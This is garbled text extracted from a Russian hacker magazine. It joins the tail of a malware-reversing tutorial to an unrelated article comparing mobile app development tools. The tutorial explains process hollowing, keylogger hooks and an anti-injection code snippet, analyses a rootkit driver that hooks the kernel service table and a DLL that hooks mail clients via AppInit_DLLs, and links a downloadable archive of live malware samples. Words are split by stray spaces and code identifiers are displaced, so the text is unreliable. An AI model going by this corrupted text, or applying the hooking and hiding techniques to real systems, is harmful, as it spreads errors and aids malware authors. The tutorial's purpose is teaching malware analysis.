Со ответс тву ющая этим служ бам вет ка реес тра рас полага ется по дан ному
адре су:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Svchost

А сами наз вания служб опре деле ны в реес тре по сле дующе му адре су:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName

Keylogger hook
Еще один вари ант сис темно го хука — перех ват событий, пос тупа ющих от кла ‐
виату ры  ( ,  )  или  мыши  (PS/2‐  или  USB‐
драй вер пор та).

WM_KEYDOWN KEYBOARD_INPUT_DATA

За меще ние про цес са в опе ратив ной памяти
Еще вари ант запус тить вре донос ный код в сис теме — не внед рять malware‐
код в DLL или запущен ный про цесс, а пол ностью заменить легитим ный про ‐
цесс  на  вре донос ный,  то  есть  переза писать  память  запущен ного  про цес са
на  содер жимое  вре донос ного  исполня емо го  фай ла.  Замеще ние  про цес са
исполь зует ся, ког да автор вре доно са хочет замас кировать мал варь под пол ‐
ностью легитим ный про цесс, без рис ка выз вать сбой или вов се крах про цес ‐
са,  как  это  воз можно  при  DLL  Injection.  Этот  метод  поз воля ет  выпол нять ся
вре донос ной  прог рамме  с  теми  же  при виле гиями,  что  и  про цесс,  который
был запущен легитим но от име ни поль зовате ля или сис темы.

Эта про цеду ра выпол няет ся толь ко в при оста нов ленном сос тоянии (SUS‐
PEND). Ины ми  сло вами,  это  озна чает,  что,  пока  про цесс  будет  заг ружать ся
в  память,  его  основной  поток  (thread)  попада ет  в  сос тояние  при оста нов ки.
Легитим ная прог рамма не смо жет ничего сде лать, пока внеш няя  (вирус ная)
прог рамма  не  возоб новит  основной  поток,  вызывая  основную  прог рамму
к запус ку. Под отладчи ком это мож но заметить, ког да мы видим, что исполь ‐
зует ся фун кция    (0x4),  запущен ная  с  парамет ром 

 при выпол нении вызова на  .
CREATE_SUSPENDED dwCre‐

ationFlags CreateProcess
На одном из   я нашел инте рес ную фун кцию, которая,

если ее вста вить в легитим ный исполня емый файл, в отдель ных слу чаях поз ‐
воля ет защитить свой про цесс от внед рения пос торон него кода:

за рубеж ных форумов

ExpandedWrap disabled
void AntiInject ()
{
  HANDLE hProc = GetCurrentProcess();
  while (TRUE) {
    BlockAPI(hProc, "NTDLL.DLL", "LdrLoadDll");
    Sleep (100);
  }
}
BOOLEAN BlockAPI (HANDLE hProcess, CHAR *libName, CHAR *apiName)
{
  CHAR pRet[]={0xC3};
  HINSTANCE hLib = NULL;
  VOID *pAddr = NULL;
  BOOL bRet = FALSE;
  DWORD dwRet = 0;
  hLib = LoadLibrary (libName);
  if (hLib) {
    pAddr = (VOID*)GetProcAddress (hLib, apiName);
    if (pAddr) {
      if (WriteProcessMemory (hProcess,
                      (LPVOID)pAddr,
                      (LPVOID)pRet,
                      sizeof (pRet),
                      &dwRet )) {
        if (dwRet) {
          bRet = TRUE;
        }
      }
    }
    FreeLibrary (hLib);
  }
  return bRet;
}

Ес ли пос мотреть вни матель но на код, то мы смо жем понять суть его работы:
он затира ет адрес  ,  в резуль тате чего все пос леду ющие вызовы

 при ведут к однознач ному падению прог раммы.
LdrLoadDll

LoadLibrary

ОСНОВНЫЕ ИНСТРУМЕНТЫ АНАЛИЗА
От ладчик ядра WinDbg

От ладчик ядра WinDbg

Прог рамма   — это отладчик уров ня ядра от всем извес тной Microsoft.
Он менее  популя рен,  чем OllyDbg,  но  име ет мно го  пре иму ществ,  наибо лее
весомое  из  которых —  воз можность  иссле дова ния  ядра  сис темы  в  режиме
отладки.  Помимо  гра фичес кого  (GUI)  интерфей са,  в  WinDbg  реали зован
интерфейс  коман дной  стро ки  (CLI),  содер жащий  поч ти  все  необ ходимые
для наших иссле дова ний фун кци ональ ные воз можнос ти.

WinDbg

Ра бочее  окно  отладчи ка  WinDbg  под держи вает  прос мотр  памяти  нап ‐
рямую  из  коман дной  стро ки.  Для  это го  исполь зует ся  коман да  чте ния  сте ка
адре сов в памяти:

dx addressToRead

где  dx  —  это  один  из  нес коль ких  вари антов  того,  как  дан ные  будут  отоб ‐
ражать ся.

Заг рузчик драй веров OSR Driver Loader

Заг рузчик драй веров OSR Driver Loader

  поз воля ет  в  руч ном  и  авто мати чес ком  (запуск  Windows‐
служб)  режиме  уста нав ливать,  уда лять,  запус кать  и  при оста нав ливать  драй ‐
веры,  заг ружа емые  в  память  из фай лов,  хра нящих ся  на жес тком дис ке. Эта
весь ма  полез ная  тул за  будет  помогать  нам  в  даль нейшем  при  выпол нении
лабора тор ных работ.

Дан ная  ути лита

VirtualKD Faster Windows Kernel debugging with Virtual Machines

VirtualKD

  —  это  быс трый,  лег кий  отладчик  режима  ядра,  адап тирован ный
под вир туаль ные машины VMware и VirtualBox.
VirtualKD

Прог рамма  интегри рует ся  с  WinDbg  и  зна читель но  сок раща ет  вре мя
отладки.

Те ма malware tools очень обширна и час то зас лужива ет минимум нес коль ких
ста тей, пос вящен ных всем аспектам исполь зования рут китов, бут китов, firm‐
ware‐зак ладок,  хуков,  внед рений  в  исполня емые  про цес сы  и  замеще ний.
Пос коль ку  объ ем  дан ной  статьи  не  поз воля ет  рас ска зать  обо  всем,  мы
можем  пореко мен довать  тебе,  дорогой  друг,  нес коль ко  хороших  книг
и ресур сов в сети Интернет для самос тоятель ного изу чения мат части :).

  .Под робнее: на Amazon
Од на из нем ногих книг, в целом пос вящен ная рут китам и тех нологи ям их

обна руже ния  в  Windows‐сис темах.  Нас тоящий  must  have  для  начина юще го
иссле дова теля, неис кушен ного в тон костях фун кци они рова ния Windows.

Rootkits: Subverting the Windows Kernel

  .Под робнее: на Amazon
До воль но занят ная кни га, пошаго во с самых основ рас ска зыва ющая о тех ‐

нологи ях отладки раз личных прог рамм под ОС Windows, осо бен ностях архи ‐
тек туры этой ОС, инс тру мен тах и методи ках отладки, фичах и дру гих не менее
важ ных деталях.

Inside Windows Debugging

  .Под робнее: на сай те No Starch Press
Кни га, которую сто ит рекомен довать в пер вую оче редь. Цен ней ший сбор ‐

ник информа ции о рут китах и бут китах, алго рит мах их работы, осо бен ностях
реали зации в ОС, методах детек тирова ния и про тиво дей ствия.

Rootkits and Bootkits

   :).Где взять: здесь
В ком мента риях не нуж дает ся — самый боль шой сбор ник рус ско языч ных

матери алов по низ коуров невому прог рамми рова нию, написа нию драй веров,
сис темных модулей и при ложе ний, работа ющих в ring 0.

Ар хив ресур са WASM.RU

Будь  осто рожен  при  ска чива нии  и  рас паков ке
архи вов с образца ми malware на компь ютер. Все
иссле дова ния  выпол няй  толь ко  в  изо лиро ван ной
вир туаль ной  сре де!  Не  выпол няй  дей ствий,
в  которых  на  100%  не  уве рен!  И  не  забывай
делать регуляр ные snapshot сис темы для быс тро ‐
го отка та.

https://ezcheats.ru/tools/inzhektor-extreme-injector-v33.html
https://ru.wikipedia.org/wiki/%D0%92%D0%B7%D0%BB%D0%BE%D0%BC_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D1%8F
https://habrahabr.ru/post/73324/
https://xakep.ru/2005/09/20/28092/
http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html
http://www.rohitab.com/discuss/topic/29440-anti-dll-injection/
http://www.windbg.org/
http://www.osronline.com/article.cfm?article=157
http://virtualkd.sysprogs.org/
https://www.amazon.com/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319
https://www.amazon.com/Inside-Windows-Debugging-Developer-Reference/dp/0735662789/ref=pd_sim_14_30?_encoding=UTF8&pd_rd_i=0735662789&pd_rd_r=SHYRE5G6CC8XDRH8KDGR&pd_rd_w=Tj7dE&pd_rd_wg=VrJdE&psc=1&refRID=SHYRE5G6CC8XDRH8KDGR
https://www.nostarch.com/rootkits
http://bablomet.org/wault.1/


ЧАСТЬ 3: ИНСТРУМЕНТЫ СКРЫТИЯ
ВРЕДОНОСНОЙ АКТИВНОСТИ

MALWARE  НАЧАЛО СТАТЬИ←

АНАЛИЗ СЕМПЛА MALWARE01
Инс тру мен ты:
1. IDA Pro.
2. VirtualKD.
3. Cerbero Profiler или Cerbero PE Insider.
4. WinDbg (GUI).

Пер вым  делом  запус каем  PEiD  и  смот рим,  что  за  файл  перед  нами.  Итак,
файл ничем не упа кован, написан на С++ и по струк туре пред став ляет собой
Win 32‐при ложе ние.  Что  ж,  идем  даль ше.  На  оче реди  прог рамма,  к  которой
мы еще не обра щались, Cerbero Profiler, — она час то исполь зует ся в форен ‐
зике и поз воля ет заг лянуть внутрь нашего сем пла. На пер вый взгляд все чис ‐
то,  одна ко  есть  подоз рения,  что  наш  исполня емый  файл —  это  кон тей нер
и  содер жит  в  себе  нес коль ко  PE‐фай лов,  которые,  оче вид но,  будут  рас ‐
пакова ны при запус ке сем пла на исполне ние.

Ок но Cerbero Profiler

От кро ем нашего ста рого дру га IDA Pro и заг рузим туда семпл.

Смот рим глав ный гра фичес кий вывод прог раммы и замеча ем, что наш семпл
дей стви тель но  кон тей нер  и  пос ле  запус ка  он  рас паковы вает  в  сис темную
дирек торию  Windows  некий  файл,  похожий  на  драй вер: 

.
C:\Windows\Sys‐

tem32\Mlwx486.sys

Идем по это му пути, откры ваем дирек торию, и что мы видим? Такого фай ла
там  нет!  Как  быть?  Очень  прос то  —  поп робу ем  выдер нуть  этот  файл
из  самого  экзешни ка.  Воз вра щаем ся  к  IDA  Pro,  скрол лим  лис тинг  и  видим
фун кцию  ,  которая поз воля ет нам пред положить,  что извле чен ‐
ный файл все‐таки прог рамма, работа ющая в режиме драй вера.

DriverEntry

Фун кция   при водит нас к коду в под прог рамме (с  ). Вре ‐
донос  пыта ется  изме нить  поток  таб лицы  дес крип торов  ядра  и  уста новить
перех ватыва ющий  хук,  вызыва ющий  .  Пос ле  это го
вре донос вызыва ет  ,  что бы получить  ука затель
на    и    под прог раммы.
Пос ле это го он прос матри вает  таб лицу дес крип торов и ищет нуж ный адрес

.

DriverEntry 0x10706

NtQueryDirectoryFile
MmGetSystemRoutineAddress

NtQueryDirectoryFile KeServiceDescriptorTable

NtQueryDirectoryFile

Как  толь ко  адрес  най дет ся,  он  будет  переза писан  новым  зна чени ем  (адре ‐
сом),  уста нов ленным  через  дан ный  хук,  то  есть  фак тичес ки  про изой дет
замена вызыва емо го кода в легитим ной прог рамме. Неп лохо, а?

Смот рим даль ше. В драй вере исполь зует ся фун кция 
.  Как  говорит  нам  докумен тация  MSDN,  эта  фун кция  воз вра щает

информа цию  о фай лах  в  катало ге,  ука зан ных  на  дан ный  дес крип тор фай ла.
Мы видим так же, что вызыва ется фун кция  .

NtQueryDirectory‐
File

RtlCompareMemory

Даль ше идет поиск и срав нение, и если обна руже но сов падение меж ду име ‐
нем  и  стро кой,  содер жащей  зна чение  ,  то  дан ный  файл  будет  скрыт.
Теперь вве дем коман ду через WinDbg:

Mlwx

kd> dps nt!KiServiceTable l 100

и смот рим вывод, а имен но дан ные в таб лице.

Не моди фици рован ная таб лица дес крип торов

Так же нам необ ходимо пос тавить точ ку оста нова с помощью коман ды 
. Еще раз запус каем семпл и смот рим WinDbg. Про изо ‐

шел оста нов выпол нения кода в точ ке  . Пос ле это го
идет  код  заг рузки  драй вера  в  память  .  Одна ко  фун кция

 еще не была выпол нена, и  ты можешь уста новить в этом мес те
еще один брейк‐пой нт. Ста вим его.

bu Ml‐
wx486!DriverEntry

nt!IopLoadDriver+0x66a
!object  \Driver

DriverInit

За пус каем коман ду:

runing kd> dps nt!KiServiceTable l 100

Мо дифи циро ван ная вирус ным кодом таб лица дес крип торов

Ви дим, что  таб лица дес крип торов была изме нена! Вот оно!  :) То,  что и  тре ‐
бова лось най ти! В целом мож но ска зать, что мал варь исполь зует   при ‐
виле гии  и  детек тиру ется  как  рут кит,  поз воля ющий  скры вать  вре донос ные
фай лы.

ring 0

АНАЛИЗ СЕМПЛА MALWARE02
Инс тру мен ты:
1. IDA Pro.
2. OllyDbg.
3. Process Monitor.

Пер вым делом, как и ранее, гру зим наш семпл в PEiD. Что показы вает прог ‐
рамма? Файл ничем не упа кован и не зашиф рован. Что ж, рас паков ку мы про ‐
ходи ли  в  прош лом  уро ке,  сегод ня  же  сос редото чим ся  на  изу чении  дру гих
осо бен ностей  мал вари.  Откры ваем  IDA  Pro  и  гру зим  наш  файл,  смот рим
импорт, видим две стро ки:   и  ... Ничего не напоми ‐
нает?

Installe DllEntryPoint

За пус каем семпл и под клю чаем наш сле дующий инс тру мент,  а  имен но Pro‐
cess  Monitor,  и  сра зу  наб люда ем  сле дующую  кар тину —  мал варь  добави ла
запись в раз дел реес тра:

HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLS

А  так же  рас пакова ла  себя  и  ско пиро вала  как DLL‐биб лиоте ку  в  сле дующую
дирек торию:

C:\Windows\System32\spoolvxx32.dll

И завер шающим аккордом ста ло откры тие INI‐фай ла (ого, при вет из девянос ‐
тых. — Прим. ред.) в дирек тории

C:\Windows\System32\Lab11‐02.ini

За пус каем  OllyDbg,  ниже  мы  видим  код,  ответс твен ный  за  заг рузку  кон ‐
фигура цион ных парамет ров мал вари из INI‐фай ла.

Ес ли  обра тить ся  к  натив ной  докумен тации  MSDN,  то  мож но  про читать,  что
 —  это  спе циаль ный  механизм,  который  поз воля ет  заг ружать

про изволь ный  спи сок  DLL‐биб лиотек  в  каж дый  про цесс  памяти  с  при виле ‐
гиями поль зовате ля. Добавив   в вет ку реес тра

AppInit_DLLs

AppInit_DLLs

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\ 

мы заг ружа ем  вре донос ные DLL  в  каж дый про цесс  в  режиме поль зовате ля,
который выпол няет ся в сис теме.

Ес ли  мы  пос мотрим  на  под прог рамму  ,  то  уви дим,  что  этот
код пыта ется получить адрес, свя зан ный с  . Затем он переда ет
управле ние под прог рамме  .

@0x100012A3
wsock32.dll

@0x10001203
Под прог рамма   исполь зует тех нику хуков (пос ледова тель ных

перех ватов). Код сна чала получа ет зна чение бай тового сме щения от начала
фун кции, содер жащей хук. Затем он исполь зует метод  , что ‐
бы выб рать 5 байт от начала под прог раммы по адре су PAGE_EXECUTE_READ‐
WRITE.  Это  поз волит  перепи сать  код    (перехо да)  на  фун кцию  хука.
Наконец‐то мож но будет очис тить 5 байт памяти и вер нуть ся к ста рым атри ‐
бутам. Смот рим скрин шот с кус ком кода в IDA Pro.

@0x10001203

virtualprotect

jmp

Итак, как видим, мал варь содер жит хук для трех прог рамм:  , 
,  . Что‐нибудь узна ем? :)

THEBAT.EXE OUT‐
LOOK.EXE MSIMM.EXE

Ис поль зуя  хук  на  ,  мал варь может  отпра вить  какие‐то  вход ‐
ные дан ные для этих поч товых прог рамм.

wsock32.dll

Быть может,  мы  что‐то  забыли?  У мал вари  есть  INI‐файл,  давай  пос мотрим
для чего. Пос ле счи тыва ния дан ных из это го кон фигура цион ного фай ла вре ‐
донос рас шифро выва ет его с помощью вызова под прог раммы  .@0x100016CA

Ес ли мы пог рузим ся в эту под прог рамму, то дос таточ но лег ко смо жем понять,
что это xor‐фун кции декоди рова ния. Вер немся к OllyDbg, что бы пос мотреть,
что получит ся при трас сиров ке выпол нения кода мал вари. Эта декоди рован ‐
ная стро ка будет исполь зовать ся в сле дующей фун кции:

Мы видим, что при выпол нении кода соз дает ся новый буфер для некото рого
адре са  ,  что  поз воля ет  этой  час ти
кода  отправ лять  дан ные  через  ори гиналь ную фун кцию  отправ ки  в  поч товой
прог рамме.  По  сути,  прог рамма  перех ватыва ет  легитим ный  адрес  поч ты
и  под меня ет  его  на  ука зан ный.  А  INI‐файл  слу жит  хра нили щем  этих  дан ных,
зашиф рован ных через xor‐фун кцию.

billy@malwareanalysisbook.com>\r\n

ЗАКЛЮЧЕНИЕ
Се год ня  наша  копил ка  зна ний  попол нилась  еще  одним  важ ным  эле мен том
из  мира  ревер синга  мал вари.  Мы  рас смот рели  malware  tools,  кос нулись
теории воп роса, рас смот рели основные методы и спо собы скры тия при сутс ‐
твия инфекции в сис теме. Безус ловно, в одной статье все го не объ ять, так что
дер зай,  изу чай,  ана лизи руй  и  про качи вай  свои  скил лы  иссле дова теля!
Как  всег да,  буду  приз нателен  за  ком мента рии  и  готов  отве тить  на  все  воз ‐
ника ющие воп росы, так что сме ло пиши.

Всем уда чи в иссле дова ниях! И до новых встреч!

Ав тор  и  редак ция  бла года рят  Сер гея  Хар ламова,  анти вирус ного  экспер та
«Лабора тории Кас пер ско го», за цен ные кор ректи вы и ком мента рии к готово ‐
му тек сту.

Ис ходные сем плы мал вари (пароль — malware)

https://xakep.ru/wp-content/uploads/2017/03/118746/malware_sample__malware_tools_.7z
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КОДИНГ

Пер вый iPhone был пред став лен десять лет назад — в 2007‐
м. Через год появил ся магазин при ложе ний от Apple — App
Store,  тог да  же  на  сце ну  вышел  Android,  а  вмес те  с  ним
магазин при ложе ний Google Play (на тот момент он называл ‐
ся  Android  Market).  Хотя  сама  идея  про давать  ПО  для
мобиль ных  телефо нов  не  была  новой  (софт  под  Symbian,
Palm,  BlackBerry, Windows Mobile  впол не  себе  про давал ся),
имен но появ ление  iPhone, Android (и поз же Windows Phone)
озна мено вало  обра зова ние  сов ремен ного  рын ка  мобиль ‐
ного ПО, каким мы его зна ем сей час.

С  раз вити ем  и  усложне нием мобиль ных  при ложе ний  ста ли  появ лять ся  раз ‐
личные  сре ды  раз работ ки  и  язы ки  прог рамми рова ния,  спе циаль но  пред ‐
назна чен ные  для  соз дания  мобиль ного  ПО.  В  ито ге  инс тру мен тов  для  раз ‐
работ ки  мобиль ных  прик ладных  прог рамм  ста ло  так  мно го,  что  сей час
не толь ко нович ку, но и матеро му прог раммис ту слож но вник нуть в это изо ‐
билие.

В  изда тель стве  « »  выш ло  вто рое,  перера ботан ное  и  допол ‐
ненное  изда ние  моей  кни ги  о  раз работ ке  дву мер ных  игр  для  нас толь ных
и мобиль ных плат форм с помощью муль тип латфор менно го движ ка Torque 2D.
Матери ал  кни ги  зна читель но  обновлен  по  срав нению  с  пер вым  изда нием,
даны  отве ты  на  самые  час тые  воп росы,  которые  я  получил  от  читате лей
на  . Как  всег да,  под робную инфу о моих  кни гах  ты можешь най ти
на  , там же ты можешь ска чать допол нитель ный кон тент и почитать
статьи про GameDev.

СО ЛОН‐Пресс

свое мыло
мо ем сай те

АССОРТИМЕНТ СРЕДСТВ МОБИЛЬНОГО КОДИНГА
Все  мно гооб разие  тулз  для  мобиль ного  кодин га  мож но  поделить  на  три
катего рии:
1. Silo.
2. Black box.
3. Cross‐platform.

Под ход  Silo,  он  же  ,  под разуме вает  исполь ‐
зование инс тру мен тов, пред назна чен ных для кон крет ной плат формы. То есть
для  раз работ ки  под  Apple‐плат формы  берут ся  ,  ,
для  Android‐устрой ств  это  ,  для  Windows
Phone  —  .  Таким  обра зом,  для  каж дой  плат формы
одно  и  то  же  при ложе ние  надо  раз рабаты вать  заново,  никаких  меж плат ‐
формен ных  сов мести мос тей.  Зато  исполь зовани ем  Silo  пок рыва ются  все
воз можнос ти кон крет ной ОС.

на тив ный  спо соб  раз работ ки

Objective-C/Swift Xcode

Java,  Eclipse  или  Android  Studio

C#/F#  и  Visual  Studio

При    для  раз работ ки  при ложе ний  исполь зуют ся
высоко уров невые (чаще все го web) язы ки:   — для интерфей са,

 — для прог рам мной логики. Код с этих язы ков про ходит кон верта ‐
цию спе циаль ными пла гина ми. Пос ле чего его ста новит ся воз можным выпол ‐
нять на опре делен ной мобиль ной плат форме. Плю сы black box: в раз работ ку
мобиль ных при ложе ний могут вклю чить ся веб‐раз работ чики (пред варитель но
изу чив  дос тупный  инс тру мен тарий,  конеч но).  Минусы  тех нологии  зак люча ‐
ются в том, что код по фак ту работа ет мед леннее натив ного, так как при ложе ‐
ние  «чер ного  ящи ка»  выпол няет ся  с  помощью  бра узе ра,  API  с  JavaScript
может пок рывать не все воз можнос ти кон крет ной плат формы, у прог раммис ‐
та нет воз можнос ти исполь зовать стан дар тные эле мен ты опре делен ной ОС.
В качес тве при меров мож но при вес ти  .

black  box  под ходе

HTML, CSS 3

JavaScript

Apache Cordova, NativeScript

Тре тий,    пред полага ет  исполь зование
соот ветс тву ющих тулз. На сегод няшний день их все го две. Это   и 

.  Пер вый — это  пла гин  для  Visual  Studio,  вто рой — для An‐
droid  Studio.  Пер вый  пред назна чен  для  соз дания  при ложе ний  под  все  рас ‐
простра нен ные  плат формы,  вто рой  охва тыва ет  две  самые  популяр ные:  An‐
droid и iOS. В пер вом исполь зует ся C#, во вто ром — Java. Плю сы кросс‐плат ‐
формен ного  вари анта  оче вид ны:  фун кци ональ ность  при ложе ний  опи сыва ‐
ется  на  одном  язы ке  для  любой  плат формы,  где  пла ниру ется  исполь зовать
дан ное ПО, код пол ностью натив ный, под держи вает ся вся фун кци ональ ность,
реали зован ная  в  опре делен ной  ОС.  Сле дует  заметить,  что  пос ле  выхода
новых  вер сий  ОС,  а  зна чит,  и  новых  фич  в  них,  преж де  чем  они  появят ся
в Xamarin и MOE, раз работ чики пос ледних дол жны добавить под дер жку этих
фич. Это обыч но дела ется очень быс тро, и обновле ние выходит дос таточ но
ско ро. Под ходы к раз работ ке поль зователь ско го интерфей са в этих двух слу ‐
чаях сущес твен но раз лича ются, мы погово рим о них ниже.

кросс‑плат формен ный  вари ант
Xamarin Intel

Multi-OS Engine

Це ли и методы их дос тижения
Из  все го  мно гооб разия  воз можнос тей  соз дания  мобиль ных  при ложе ний  (в
этом раз говоре  я  умыш ленно исклю чаю боль шое  чис ло  кросс‐плат формен ‐
ных игро вых движ ков, о них, будем наде ять ся, погово рим в дру гой раз) нам
надо  выявить  наибо лее  под ходящую  тул зу.  Для  отбо ра  будем  срав нивать
как весь ма точ ные зна чения (раз мер исполня емо го фай ла, ско рость работы,
где это удас тся точ но изме рить, реали зация воз можнос тей плат формы, сто ‐
имость), так и инту итив ные показа тели: прос тоту осво ения средств раз работ ‐
ки, качес тво докумен тации и под дер жки, удобс тво и эффектив ность исполь ‐
зования и про чее.

SILO
Android
Нач нем  наши  экспе римен ты  с  натив ных  инс тру мен тов  для  раз работ ки  при ‐
ложе ний  под  Android:  Android  Studio  +  Java  SE  +  Android  SDK.  Перехо дим
на  сайт    и  кача ем  из  него  сту дию. Не  забудь  пред варитель но
уста новить  . Android SDK рекомен дует ся ска чать и уста новить пря мо
из сту дии.

Android Studio
JDK 1.8

Об рати вни мание: для стан дар тных эму лято ров Android исполь зует ся вир ‐
туали зация Intel HAXM. Пос ледняя уста нав лива ется вмес те с Android SDK (при
выборе  соот ветс тву юще го  пун кта).  HAXM не может  работать  одновре мен но
с род ной Windows‐вир туали заци ей Hyper‐V, поэто му пос леднюю надо отклю ‐
чить. Для это го открой кон соль PowerShell от име ни адми нис тра тора и выпол ‐
ни коман ду 

. Пос ле это го надо перезаг рузить компь ютер.
Disable‐WindowsOptionalFeature ‐Online ‐FeatureName Mi‐

crosoft‐Hyper‐V‐All
Соз дадим прос тое мини атюр ное при ложе ние  (оно будет содер жать над ‐

пись и кноп ку) при помощи раз ных средств раз работ ки и срав ним их меж ду
собой. New Project → HelloWorld. Phone and Tablet: Minimum SDK → API 19: An‐
droid  4.4  (KitKat)  —  все  еще  самая  рас простра нен ная  вер сия  ОС  в  мире,
в  час тнос ти  у меня  есть  устрой ства  с  ней  на  бор ту.  Выберем Empty  Activity.
Далее  наз вания  по  желанию  и  Finish.  Пос ле  соз дания  про екта  добавим
на  Activity  ука зан ные  выше  ком понен ты:  над пись Hello World  и  кноп ку,  отоб ‐
ража ющую чис ло нажатий:  . Иден тифика торы объ ектов оста вим
по  умол чанию. Открой  XML‐опи сание  активнос ти.  В  опре деле ние  эле мен та
кноп ки  добавь  объ явле ние  события:  .
Теперь  в  фай ле  MainActivity.java  внут ри  опи сания  клас са  объ явим  две
перемен ные:  для  кноп ки  и  целочис ленную  перемен ную.  В  методе  onCreate
сох раним в пер вую перемен ную ссыл ку на кноп ку на макете: 

.  Пос ледним  дей стви ем  опи шем  метод  —
обра бот чик объ явленно го ранее события:

Click me: 0

android:onClick="onButtonClick"

but = (Button)
findViewById(R.id.button);

public void onButtonClick(View view)
{
   but.setText("Click me: " + ++cl);
}

На  этом  раз работ ка  мини‐при ложе ния  завер шена.  Перек лючи  пос тро ение
на  вари ант  для  выпус ка:  Build →  Select  Build  Variant… В  появив шей ся  сле ва
панели  в  стол бце  Build  Variant  из  нис пада юще го  спис ка  выбери  release.
При  пос тро ении  фай ла  для  выпус ка  тебе  надо  под писать  его  соот ветс тву ‐
ющим сер тифика том. Все это мелочи жиз ни, и мы не будем рас смат ривать их
в дан ной статье.

  В  ито ге  файл  на  выходе  у  меня  получил ся  1256  Кбайт.  Ско рость
работы в дан ном слу чае изме рить нель зя, воз можнос ти плат формы пок рыва ‐
ются пол ностью, ибо тул зы от плат формо дер жателя, но про верить их в этом
мини‐при ложе нии мы не можем; тул зы для раз работ ки бес плат ны. Про удобс ‐
тво  исполь зования  могу  выс казать  раз ве  что  свое  субъ ективное  мне ние:
к  это му  инс тру мен тарию  все  уже  дав но  при вык ли,  он  не  луч ший,  но  весь ма
удо бен,  осо бен но  пос ле  сме ны  сре ды  Eclipse  на  Android  Studio.  Докумен ‐
тация от Google доволь но под робная. Вдо бавок осво ить плат форму помогут
обу чающие уро ки, соз данные энту зиас тами.

Ито ги.

iOS
Для  раз работ ки  под  iOS  нам  понадо бит ся  вос поль зовать ся  макин тошем.
Запус каем Xcode. Пред лагаю соз дать новое при ложе ние на язы ке Swift:  iOS
→ Single View Application. Выбира ем нуж ный язык, вво дим необ ходимые дан ‐
ные,  зада ем имя и мес то рас положе ния про екта. В спис ке сле ва выбира ем
файл Main.Storyboard. На макет перета щим над пись (Label) и кноп ку (Button)
из  находя щей ся  спра ва  сни зу  панели  (Object  Library).  Для  над писи  задай
свой ство Text:   (находит ся в инспек торе атри бутов — чет вертая
кноп ка),  для  кноп ки  .  Открой  в  допол нитель ном  окне файл  View‐
Controller.swift,  дваж ды щел кнув  по  нему  в  Project  Navigator.  Удер живая  кла ‐
вишу  Ctrl,  перета щи  линию  от  кноп ки  в  редак тор  кода  для  соз дания  outlet
с име нем but, ины ми сло вами перемен ную — ука затель на кноп ку. Пос ле это ‐
го  опять  перета щи  линию  с  кноп ки  в  код,  на  этот  раз  в  появив шемся  окне
в  качес тве  типа  соз дава емо го  объ екта  выбери  IBAction,  имя  задай  onClick,
под ходящее имя для метода — обра бот чика события нажатия  кноп ки. Ниже
объ явле ния  перемен ной  для  кноп ки 
добавь объ явле ние целочис ленной перемен ной: var cl = 0. В толь ко что соз ‐
данное событие впи ши две сле дующие строч ки:

Hello World
Click  me:

@IBOutlet  weak  var  but:  UIButton!

cl += 1
but.setTitle("Click me: (cl)", for: .normal) 

С  помощью  пер вой  из  них  мы  инкре мен тиру ем  перемен ную,  а  во  вто рой
меня ем над пись на кноп ке, исполь зуя это зна чение. Для пос тро ения финаль ‐
ной вер сии выбери Product → Build For → Running. В резуль тате в навига торе
про екта обра зует ся пап ка Products, где будет находить ся исполня емый  iOS‐
файл. Пап ку, его содер жащую, мож но открыть, щел кнув по нему пра вой кла ‐
вишей и  выб рав  из  кон текс тно го меню пункт Show  in  Finder. В  ито ге  у меня
исполня емый  файл  для  iOS  вмес те  со  все ми  либами  весит  16,8  Мбайт.
Сурово,  но  не  огля дыва емся  на  Android!  Это  дру гая  все лен ная,  а  мы  срав ‐
нива ем инс тру мен ты, не опе раци онные сис темы.

  Неп ред взя то  срав нить  ско рость  так же  не  получит ся,  эму лятор
работа ет очень мед ленно. Туз лы бес плат ны и пок рыва ют всю плат форму, что
логич но.  По  удобс тву  работы  Xcode  хорош  для  тех,  кто  вырос  и  живет
с  маками.  Язык  Swift  инте ресен  сам  по  себе,  он  удоб нее,  чем  Obj‐C.
Докумен тация от Apple очень под робная, дос тупна мас са обу чающей инфы.

Ито ги.

Xcode с минималь ным про ектом

Windows 10 Mobile
Тут  все  прос то.  Исполь зует ся  Visual  Studio.  Соз даем  уни вер саль ное  (Blank
App) UWP‐при ложе ние, ров но как для нас толь ной опе раци онки. Что бы запус ‐
тить эму лятор VS и про тес тировать в нем при ложе ние, понадо бит ся вклю чить
вир туали зацию  Hyper‐V.  В  PowerShell,  запущен ной  под  адми нис тра тором,
выпол ни коман ду 

. Пос ле это го понадо бит ся перезаг рузка ком па.
Enable‐WindowsOptionalFeature ‐Online ‐FeatureName

Microsoft‐Hyper‐V ‐All
Раз мести на макете  (MainPage.xaml)  тек сто вую мет ку  (TextBlock) и  кноп ку

(Button), свой ству Text пер вой прис вой  , а свой ству Content вто ‐
рой, соот ветс твен но,  . Соз дай событие щел чка на ней, в котором
напиши:

Hello World
Click me:

cl++;
button.Content = "Click me: " + cl.ToString();

Пред варитель но  объ яви  гло баль ную  перемен ную.  По  боль шому  сче ту
это  все.  При ложе ние  для Windows  10 —  это  каталог  AppX  с  исполня емы ми
фай лами и дру гим кон тентом. Итак, раз мер минималь ного UWP‐при ложе ния
(вмес те с кон тентом) равен 6,57 Мбайт.

  Для  Win‐раз работ чиков  это  самый  близ кий  спо соб  соз дания
мобиль ных  при ложе ний,  исполь зует ся  тот  же  инс тру мен тарий,  мно го  под ‐
робней шей  докумен тации  и  обу чающих  матери алов,  мно жес тво  форумов
по дан ной тех нологии и качес твен ная под дер жка.

Ито ги.

Ин стал ляция RAD Studio

Кро ме средств раз работ ки от дер жателей плат форм, для соз дания натив ных
при ложе ний мож но исполь зовать инс тру мен ты  треть их фирм. Одно из  таких
средств —  RAD  Studio  от  .  Пос ледняя  вер сия  RAD  Studio  10.1
